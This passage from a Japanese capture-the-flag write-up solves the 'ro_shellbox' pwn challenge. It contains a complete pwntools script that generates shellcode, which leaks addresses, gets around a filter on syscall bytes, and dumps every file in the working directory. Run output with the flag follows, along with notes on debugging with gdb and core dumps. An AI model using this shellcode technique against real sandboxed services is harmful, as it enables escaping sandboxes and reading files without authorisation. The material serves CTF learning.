    • ChatGPTにLinux x64のバイナリにおいて $ymm0.v4_int64[0] を取得するためのアセンブリ命令を聞くとvmovq rax, xmm0を教えてくれました。SIMD系を何一つ分かっていないので助かりました。
  2. glibc中のenvironグローバル変数の内容からスタック中のアドレスをleak。
  3. leakしたスタック中アドレスから固定offsetにある、ro_shellcode中アドレスをleak。
  4. ro_shellcodeのimage baseを計算。
  5. rsprbpレジスタ内容を、ro_shellcode中の読み書きできるアドレスへ設定。
    • これでcall等を行えるようにします。
  6. ro_shellcode中の読み書きできるアドレスを色々調整。
    • これでsyscall後にretまで実行されるようにします。
  7. 1回目のsyscall呼び出しでarch_prctl(ARCH_SET_FS, addr)を行い、fsbaseレジスタ内容もro_shellcode中の読み書きできるアドレスに設定。
    • これで後は自由にsyscallを使えるようになります。
  8. mmapsyscallを2回呼び出して、作業用メモリを2つ分確保。
    • syscall呼び出し結果のraxレジスタ内容は失われるため、適当なハードコードしたアドレスへ確保させました。
    • 1つはgetdents64結果保持用、もう1つは各種ファイル内容からのread結果保持用です。
  9. openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY)syscallを呼び出して、ファイル列挙用のFile Descriptorを取得。
    • ltrace ls .結果を真似ました。
    • デバッグ実行すると、取得結果は0でした。想定した3ではありませんでした。どこかで標準入力が閉じられているらしいです。
      • 本箇所を書いているときに、ro_shellbox中にclose(0);があることに気付きました!コンテスト中は気付いていませんでした。
  10. getdents64syscallを呼び出して、カレントディレクトリのファイル一覧を取得。
    • バッファサイズは0x1000固定です。今回の場合はそれで十分でした。
  11. getdents64取得結果に含まれる各種ファイル名について、openreadで読み込み、writeで標準出力へ内容を書き込み。
    • read用バッファを使いまわしているため、1個目のファイルサイズが2個目のファイルサイズよりも大きい場合、2個目のファイル内容表示時に1個目のファイル内容後ろの方が残ります。今回はその挙動でも問題ありません。

シェルコード用のアセンブリ言語ソースはひたすら手書きしました。最初は.S形式で直接記述していたものの、途中から色々調整したくなったのでPythonコードでアセンブリ言語ソースを文字列構築するように変更しました。シェルコード用ファイルinput.binを生成するスクリプトです:

#!/usr/bin/env python3

import subprocess
import sys

import pwn

times = int(sys.argv[1])
print(f"stack offset調整用数値: {times = }")

pwn.context.arch = "amd64"
ARCH_SET_FS = 0x1002  # pwntoolsのconstantsには無いらしい?

ASSEMBLY_FILE_PATH = "solve.S"
ASSEMBLED_BINARY_PATH = "./a.out"
SHELLCODE_PATH = "input.bin"

MACHINE_CODE_PREFIX = b"\x90" * 16
MACHINE_CODE_SUFFIX = b"\xcc" * 16


def generate_assembly() -> str:
    WRITABLE_REGION_OFFSET = 0x4000
    ADDR_TO_MMAP = 0x12340000
    ADDR_TO_MMAP_2 = 0x56780000
    FD_FOR_CURRENT_DIRECTORY = 0  # デバッガーで調べました。
    assembly_code = rf"""
    .intel_syntax noprefix
    .global _start # 「/usr/bin/ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000」警告抑制用

    _start:
    machine_code_prefix: .byte {", ".join(map(lambda b: hex(b), MACHINE_CODE_PREFIX))}
        # rsp, rbpともに0設定されているので、スタックを使えない。レジスタで頑張る

# バイナリを直接実行した場合
#         # $ymm0.v4_int64[0] が heap中アドレス
#         vmovq   rax, xmm0
#         # heap中アドレスから、glibc中stderrのアドレスを得る
#         mov     rax, [rax + {0x583BC4C6C718 - 0x583BC4C6C2A0}] # 適当な実行時の、stderrがあったヒープ中アドレスと、SIMDレジスタに残っていたヒープのアドレス
#
#         # glibc中stderrのアドレスから、environが指すstack addressを得る
#         mov     rax, [rax + {0x222200 - 0x21B6A0}] # docker中glibcで調べた「environ」のアドレスと、「_IO_2_1_stderr_」のアドレス
#

# start.sh経由で実行すると、libstdbufが読み込まれる都合か、色々変わっていた
        # $ymm0.v4_int64[0] が glibc中アドレス!
        vmovq   rax, xmm0
        # glibc中のアドレスから、environが指すstack addressを得る
        mov     rax, [rax + {0x222200 - 0x21B803}]

        # stack addressからro_shellboxのaddressを得る
        # ↓gdb経由起動ではこれで適合したけど、それ以外の実行やnc実行では適合せず
        # mov     rax, [rax + {0x7FFCC3D35518 - 0x7FFCC3D35468}] # 適当なgdb実行時の、environが指すスタック中アドレスと、ro_shellbox領域のアドレスがあったスタック中アドレス diffは176
        # ↓Dockerコンテナ中コアダンプで調べたもの
        # mov     rax, [rax + {0x7FFF937A1108 - 0x7FFF937A1068}] # diffは160
        # ↓ start.sh経由実行時のコアダンプで調べたもの
        # mov     rax, [rax + 0xc8] # diffは200
        # ↓「nc 198.51.100.1 42324 -q 5」のリモートだとどちらでもないらしい。
        mov     rax, [rax + {8 * times}]

# スタック中のro_shellboxのアドレスを得られた後は、どのパターンも同一
        # ro_shellbox中のimage baseを得る
        lea     rax, [rax + {0x64C3F2F54000 - 0x64C3F2F54040}] # 適当な実行時の、gdbの「info proc mappings」で調べたro_shellboxの開始アドレスと、スタック中にあったro_shellbox中のアドレス

        # ro_shellbox の image base保持
        mov     rbx, rax

        # rspを.data領域の最後の方へ設定。これでcallを使えるようになる。
        lea     rsp, [rbx + {WRITABLE_REGION_OFFSET + 0xFF0}]

        # syscall1回目。fsレジスタの書き込みをやる。
        # なおsyscallを使わないfsレジスタ設定方法「wrfsbase r15」では、アセンブル結果「F3 49 0F AE D2」をis_safe関数に検知されてしまうので使えない
        mov     rax, {int(pwn.constants.SYS_arch_prctl)} # 158
        mov     rdi, {ARCH_SET_FS}
        lea     rsi, [rbx + {WRITABLE_REGION_OFFSET}]
        call    call_syscall_destroying_rax

        # 読み書きできる適当なアドレス取得1
        mov     rax, {int(pwn.constants.SYS_mmap)} # 9
        mov     rdi, {ADDR_TO_MMAP}
        mov     rsi, 0x1000
        mov     rdx, {int(pwn.constants.PROT_READ | pwn.constants.PROT_WRITE)}
        mov     r10, {int(pwn.constants.MAP_PRIVATE | pwn.constants.MAP_ANONYMOUS)}
        mov     r8, -1
        mov     r9, 0
        call    call_syscall_destroying_rax

        # 読み書きできる適当なアドレス取得2
        mov     rax, {int(pwn.constants.SYS_mmap)} # 9
        mov     rdi, {ADDR_TO_MMAP_2}
        mov     rsi, 0x1000
        mov     rdx, {int(pwn.constants.PROT_READ | pwn.constants.PROT_WRITE)}
        mov     r10, {int(pwn.constants.MAP_PRIVATE | pwn.constants.MAP_ANONYMOUS)}
        mov     r8, -1
        mov     r9, 0
        call    call_syscall_destroying_rax

        # ディレクトリ列挙
        # openat(AT_FDCWD, ".", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY)
        mov     rax, {int(pwn.constants.SYS_openat)} # 257
        mov     rdi, {int(pwn.constants.AT_FDCWD)}
        mov     rsi, {ADDR_TO_MMAP}
        mov word ptr [rsi], 0x2e # "."
        mov     rdx, {pwn.constants.O_RDONLY | pwn.constants.O_NONBLOCK | pwn.constants.O_CLOEXEC | pwn.constants.O_DIRECTORY}
        call    call_syscall_destroying_rax
        # 結果は3だと思ったら0だった、stdinは閉じられたあと?

        mov     rax, {int(pwn.constants.SYS_getdents64)} # 217
        mov     rdi, {FD_FOR_CURRENT_DIRECTORY}
        mov     rsi, {ADDR_TO_MMAP}
        mov     rdx, 0x1000
        call    call_syscall_destroying_rax

        mov     rax, {int(pwn.constants.SYS_close)} # 3
        mov     rdi, {FD_FOR_CURRENT_DIRECTORY}
        call    call_syscall_destroying_rax

        # 以降、列挙で得た各種ファイルを読む
        mov     r8, 0 # 全確保結果のindex

    read_file_loop:
        # open
        mov     rax, {int(pwn.constants.SYS_open)} # 2
        lea     rdi, [r8 + {ADDR_TO_MMAP} + 0x13] # access linux_dirent64::d_name. ignoring linux_dirent64::d_ino, d_off, d_reclen, d_type.
        mov     rsi, {int(pwn.constants.O_RDONLY)}
        call    call_syscall_destroying_rax

        # read
        mov     rax, {int(pwn.constants.SYS_read)} # 0
        mov     rdi, {FD_FOR_CURRENT_DIRECTORY}
        mov     rsi, {ADDR_TO_MMAP_2}
        mov     rdx, 0x1000
        call    call_syscall_destroying_rax

        # write to stdout
        mov     rax, {int(pwn.constants.SYS_write)} # 1
        mov     rdi, {int(pwn.constants.STDOUT_FILENO)}
        mov     rsi, {ADDR_TO_MMAP_2}
        mov     rdx, 0x1000
        call    call_syscall_destroying_rax

        mov     rax, {int(pwn.constants.SYS_close)} # 3
        mov     rdi, {FD_FOR_CURRENT_DIRECTORY}
        call    call_syscall_destroying_rax

        mov     ax, [r8 + {ADDR_TO_MMAP + 0x10}] # read linux_dirent64::d_reclen
        movzx   eax, ax
        test    eax, eax
        jz      end
        add     r8, rax
        jmp     read_file_loop

    end:
        mov     rax, {int(pwn.constants.SYS_exit)} # 60
        mov     rdi, 0
        call    call_syscall_destroying_rax
        int3

    call_syscall_destroying_rax:
        # raxレジスタ内容は破壊されます。syscall結果は失われます。
        # rspレジスタは最後の方に設定済みという前提
        lea     rbp, [rsp - 0x10] # rspと同じだとcall時に壊れる。ずらす。
        # fsセグメントレジスタの扱いがよく分からない。適当なアドレスに設定する
        mov     r15, 0xAAAA5555AAAA5555
        mov     [rbx + {WRITABLE_REGION_OFFSET + 0x28}], r15 # stack canary in fs
        mov     [rbp-8], r15 # stack canary in stack
        mov dword ptr [rbp-0x93C], 0xCC # i
        mov dword ptr [rbp-0x940], 0xCC # count

        # rip相対が使えないので大変
        call    $+5
        pop     r15
        add     r15, {4 + 7 + 7 + 2} # IDAで見ながら調整、call_syscall_modifying_rsp_retのアドレス
        mov     [rbp + 8], r15 # return address
        lea     r15, [rbx + 0x18BE] # syscall 命令のアドレス
        call    r15 # syscallからretの間にRAXは破壊されます。
    call_syscall_modifying_rsp_ret:
        ret

    machine_code_suffix: .byte {", ".join(map(lambda b: hex(b), MACHINE_CODE_SUFFIX))}
    """
    return assembly_code


with open(ASSEMBLY_FILE_PATH, "w") as f:
    f.write(generate_assembly())


completed_process = subprocess.run(
    ["gcc", "-static", "-nostdlib", ASSEMBLY_FILE_PATH, "-o", ASSEMBLED_BINARY_PATH]
)
completed_process.check_returncode()

with open(ASSEMBLED_BINARY_PATH, "rb") as f:
    data = f.read()
    assert b"\x0f\x05" not in data, "syscall"
prefix_index = data.find(MACHINE_CODE_PREFIX)
assert prefix_index >= 0
suffix_index = data.find(MACHINE_CODE_SUFFIX, prefix_index)
assert suffix_index >= 0
with open(SHELLCODE_PATH, "wb") as f:
    f.write(data[prefix_index : suffix_index + len(MACHINE_CODE_SUFFIX)])

ローカルのDockerコンテナ環境で「leakしたスタック中アドレスから固定offsetにある、ro_shellcode中アドレスをleak」できるoffsetを調べた後に、問題文記載のnc接続先へ試しました:

$ ./generate_shellcode.py 22 && nc 198.51.100.1 42324 -q 5 < input.bin
stack offset調整用数値: times = 22
Please provide about 0x1000 bytes of input:
Safe Input!
Secure the Shellbox
#!/bin/sh

cd /home/user
#timeout --foreground -s 9 600000s stdbuf -i0 -o0 -e0 ./ro_shellbox # debug
timeout --foreground -s 9 60s stdbuf -i0 -o0 -e0 ./ro_shellbox
#!/bin/sh

cd /home/user
#timeout --foreground -s 9 600000s stdbuf -i0 -o0 -e0 ./ro_shellbox # debug
timeout --foreground -s 9 60s stdbuf -i0 -o0 -e0 ./ro_shellbox
TSGCTF{y0u_ar3_a_r0_5h3llbox_35cap1st!}
ground -s 9 600000s stdbuf -i0 -o0 -e0 ./ro_shellbox # debug
timeout --foreground -s 9 60s stdbuf -i0 -o0 -e0 ./ro_shellbox
(以降ro_shellboxバイナリの先頭0x1000バイト表示、省略)

ついにフラグを入手できました! TSGCTF{y0u_ar3_a_r0_5h3llbox_35cap1st!}

最初にstart.sh内容を表示、次に先頭部分をflag-(ハッシュ値).txtに上書きした内容を表示(その後の領域はstart.sh内容のまま)、その後にro_shellbox内容を表示、のような流れになったようです。

余談: バイナリ実行方法でymm0レジスタ内容やスタック中のoffsetが変わりました

コンテスト中は、レジスタ内容を調べるためにデバッグ実行する方法で右往左往していました。そして右往左往するたびに、ymm0レジスタ内容やスタック中内容が変化していて詰まりまくっていました:

  1. 最初は「Dockerコンテナにgdbserverをインストールして、Dockerホストからデバッガーをアタッチする」方法を試しました。しかしどういうわけか全然うまくいかなかったので諦めました。(過去CTFで成功したときのメモ)
  2. 結局、Dockerコンテナにgdbをインストールして、gdb ./ro_shellbox起動でデバッグ実行してymm0レジスタの内容を確認しました。その時は$ymm0.v4_int64[0]にはヒープ中のアドレスが残っていました。ヒープ中の固定offset位置にstderrのアドレスが残っていてglibcのaddress leakができ、glibcのenvironグローバル変数からスタックのアドレスをleakし、固定offset位置にある戻りアドレスからro_shellboxのaddress leakができました。
    • この段階で、フラグ表示をする段階までソルバーを実装しました。
  3. 次にDockerコンテナ中で./ro_shellboxとバイナリを直接実行すると、ソルバーは失敗しました。スタックアドレスleak後のoffsetを調整すると、ソルバーが最後まで成功しました。環境変数か何かが変化したらしく、それによってスタックで使用するサイズが変化したようです。
  4. 次に、本来のbuild/start.sh経由でバイナリを実行すると、ソルバーはまたしても失敗しました。頑張って調べると、$ymm0.v4_int64[0]に残っていたアドレスが、ヒープ中のアドレスではなくglibc中のアドレスに変わっていました!以降は同様に、glibcのenvironグローバル変数からスタックアドレスをleakし、固定offsetにある戻りアドレスからro_shellboxのaddress leakができました。
    • ソルバー実行時でバイナリがクラッシュするときにコアダンプを作成するように設定して、コアダンプ内容を調べることで違いに気付きました。
      • 調べているうちに、/usr/libexec/coreutils/libstdbuf.soがメモリに読み込まれていることに気付きました。この存在が、ymm0レジスタ内容に影響したようです。start.sh経由の起動時ではstdbufコマンド経由で実行することが影響したのでしょう。
    • うろ覚えのコアダンプ作成手順です。不要な手順も含まれていると思います。
      • Dockerコンテナ起動時に、DockerホストとDockerコンテナで/coresディレクトリをbind mountして紐づけ
      • DockerコンテナとDockerホストの両方でecho '/cores/core.%e.%p' | sudo tee /proc/sys/kernel/core_patternを実行
      • DockerコンテナとDockerホストの両方でulimit -c unlimitedを実行
      • Dockerコンテナでbuild/start.shを実行して、ソルバー入力を与えてクラッシュ
  5. 最後にnc経由でDockerコンテナへ接続すると、ソルバーはまたもや失敗しました。スタックアドレスleak後のoffsetを調整すると、ソルバーが最後まで成功しました。
  6. 問題文記述のnc接続先へは、手元のDockerコンテナ接続時と同一のoffsetで無事に成功しました。

追記: Dockerコンテナ中プロセスへDockerホスト側からgdbをAttachする方法

コンテスト後に、上述のバイナリ実行方法で色々変わることに呟いていたら、作問者から助言をいただきました!

本記事を書きながら検証しました:

  1. 配布ファイルを展開したディレクトリでdocker compose upを実行して、ローカル検証用のサーバーを起動しました。
    • 今回の問題の構成では、Dockerコンテナ起動直後はxinetd -dontfork -f /etc/xinetd.d/ctfプロセスのみが起動しています。
  2. 別のターミナルでnc -N localhost 42324を実行して、Dockerコンテナ中のサーバーへ接続しました。
    • この接続で、start.shが実行され、timeout --foreground -s 9 60s stdbuf -i0 -o0 -e0 ./ro_shellbox経由でro_shellboxプロセスが実行されます。
    • 今回の問題設定では起動から60秒後にro_shellboxプロセスが終了されてしまうのでご注意ください。長時間デバッグする場合はstart.shを書き換えましょう。
  3. Dockerホストで起動中の全プロセスをps -auxwwfコマンドで確認してみると、Dockerコンテナ中プロセスが999 303580 0.0 0.0 2668 1152 ? S 22:57 0:00 \_ ./ro_shellboxとバッチリ表示されました。問題なく出てくるんですね!
  4. Dockerホストからsudo gdb --command=$(realpath ~/.gdbinit) --pid=$(pidof ro_shellbox)実行すると、無事にDockerコンテナ中のプロセスへアタッチできました!
    • 親子関係のない他プロセスへアタッチするためには、root権限かCAP_SYS_PTRACEcapabilityが必要なはずです。
    • sudo実行時ではホームディレクトリが変化する都合か、sudo gdb --pid=$(pidof ro_shellbox)だけでは~/.gdbinitは読み込まれず、pwndbg込みではなくバニラのgdbが起動しました。そのため--command=$(realpath ~/.gdbinit)を指定しています。
  5. アタッチ時では、ro_shellboxのRVA0x1A9Eにあるcall read中で停止しました。
  6. 後はinfo proc mappingsやpwndbgのvmmapro_shellboxのimage baseを調べたり、break *((ro_shellboxのimage bse) + 0x1C29)やpwndbgのbreakrva 0x1C29でシェルコード呼び出し箇所直前にブレークポイントを設定したり、シェルコード実行直前まで進めてからinfo registers allで全レジスタ内容を確認したりと、nc接続先で実行される環境の中でデバッグできました!

もしもコンテスト中にこの方法を知っていたら、コアダンプを作成しようとして四苦八苦しなくて済んだと思います!特に今回の問題の場合は、stdbuf -i0 -o0 -e0 ./ro_shellboxstdbufコマンド経由で実行されることが重要であるため、Dockerコンテナ中でgdbserver経由でデバッグ開始する手順ではうまくいかなかったと思います。

なお、本手法でgdbをアタッチする際、次の警告が表示されました:

warning: "target:/proc/312722/exe": could not open as an executable file: No such file or directory.

warning: `target:/proc/312722/exe': can't open to read symbols: No such file or directory.

warning: Could not load vsyscall page because no executable was specified

warning: Target and debugger are in different PID namespaces; thread lists and other data are likely unreliable.  Connect to gdbserver inside the container.

PID名前空間が異なる都合で、もしかしたら信頼できない表示が起こる可能性があるとのことです。何かがおかしいと思うときは、別の手法と併用するのが良さそうです。

感想

  • 問題設定が物凄くて、面白い問題ばかりでした!
  • glibcのenvironグローバル変数からスタックアドレスを取得する手法を初めて使いました。enviornグローバル変数はシンボルがあれば普通にIDAからでも分かるんですね。
  • gdbにpwndbgを導入している場合、バニラgdbとは細かいところで挙動が変わることが多いらしいことが身に染みました。困ったときはバニラのgdbで実行することも大切ですね……。